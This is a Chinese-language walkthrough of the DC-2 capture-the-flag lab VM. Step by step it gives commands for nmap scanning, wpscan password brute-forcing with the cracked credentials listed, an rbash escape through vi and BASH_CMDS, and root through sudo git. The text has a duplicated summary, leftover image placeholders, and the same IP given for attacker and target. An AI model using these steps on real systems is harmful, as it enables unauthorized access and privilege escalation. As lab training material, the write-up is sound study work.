DC2
配置环境vmware17 + nat网络配置
下载地址:DC and Five86 Series Challenges - DC-1
（似乎从2024/1/18左右找不到这个资源了）
攻击机kali与其在同一网段下 ip:192.168.52.130
信息收集
arp-scan -l #内网探测，扫描目标ip
发现目标ip192.168.52.130
使用nmap对目标进行扫描
nmap -T4 -sV -O -A -Pn -p- 192.168.52.130
发现开放端口80，7744
重定向
先访问80的http服务
这里域名跳转了，但是显示找不到此网站，挂上burpsuite，抓包查看情况
HTTP/1.1 301 Moved Permanently
Date: Thu, 18 Jan 2024 20:05:59
Server: Apache/2.4.10 (Debian)
Location: http://dc-2/
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
工具数据包可知，网站回复301状态码，永久重定向
通过修改host文件，将ip地址和dc-2域名强行绑定，（host可以简单理解为对域名的解析处理，解析手动指定的ip地址，以便于绕过dns查询）
去掉这个勾选只读
然后用vscode打开host文件，在最底层添加一个
192.168.52.130 dc-2
此时直接打开网站
点开右上角的Flag
可以发现这是一个使用wordpress搭建的网站
工具探测
flag中推荐使用cewl工具（一种使用ruby写的爬虫工具，可以爬取网站中的敏感信息组成字典，kali中自动集成了）
cewl http://dc-2 -w passwd.txt
再使用dirb挖掘目录信息
dirb http://dc-2/
发现一个url
http://dc-2/wp-admin/admin.php
这个url是wordpress搭建的网站的登录页面
关于wordpress搭建的站点，有一个非常好的工具，wpscan，可以利用其扫描功能对其测试
wpscan --url http://dc-2/ -e u //枚举用户名字
将这些人名写入文件中
echo "admin" >> usr.txt
echo "jerry" >> usr.txt
echo "tom" >> usr.txt
利用wpscan爆破账号密码
wpscan --url http://dc-2/ -U usr.txt -P passwd.txt
jerry / adipiscing
tom / parturient
分别利用进行登录
登录后如果是空白，再重新输入一下urlhttp://dc-2/wp-admin/即可
flag2的意思：在此wordpress中找不到有用的信息了，尝试其他方法
内网提权
之前nmap扫描时发现了一个7744端口的ssh服务
vi提权
基于此尝试ssh连接
ssh tom@192.168.52.130 -p 7744
这里只有tom的账号密码对了
同时发现很多命令无法使用
compgen -c //查看可以使用的指令
发现可以使用vi命令,此命令存在提权（本质上属于sudo提权）
先查看提示
vi flag3.txt
先提权然后查看jerry账号
操作步骤
vi随便打开文件
输入:
再下面添加
:set shell=/bin/sh
:shell
按回车，再次输入:
这时可以使用cd命令了，cd …找到上一层目录，进入Jerry文件夹下发现flag4，使用vi flag4.txt查看
权限过低，想办法提权
rbash环境变量
先使用exit退出
export -p //查看环境变量
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
export PATH=$PATH:/usr/bin //添加环境变量
发现以及可以使用被限制的命令了
find / -perm -u=s -type f 2>/dev/null //找到存在sudo权限的命令
切换用户
su jerry
git提权
查看sudo权限
sudo -l
可以发现git命令存在sudo提权
基于此进行权限提升
方式：
sudo git help config #在末行命令模式输入
!/bin/bash 或 !'sh' #完成提权
sudo git -p help
!/bin/bash #输入!/bin/bash，即可打开一个用户为root的shell
输入sudo git help config后会有一个很长的文本，在此基础上，按下: ，在输入!/bin/bash
然后按q退出,再输出sudo git -p help命令，同上输入!/bin/bash
至此结束
总结
1、hosts文件指定ip对应域名
2、工具使用：cewl（收集网站字典）、dirb(目录探测)、wpscan(针对wordpress制作的扫描工具)
3、linux命令
compgen -c #查看当前可用命令
find / -perm -u=s -type f 2>/dev/null #查找存在sudo权限的命令
sudo -l #查看当前用户可使用的sudo权限
6)]
[外链图片转存中…(img-UnDKf5oc-1705657141846)]
至此结束
总结
1、hosts文件指定ip对应域名
2、工具使用：cewl（收集网站字典）、dirb(目录探测)、wpscan(针对wordpress制作的扫描工具)
3、linux命令
compgen -c #查看当前可用命令
find / -perm -u=s -type f 2>/dev/null #查找存在sudo权限的命令
sudo -l #查看当前用户可使用的sudo权限
4、权限提升：vi提权，rbash环境变量提权，git提权
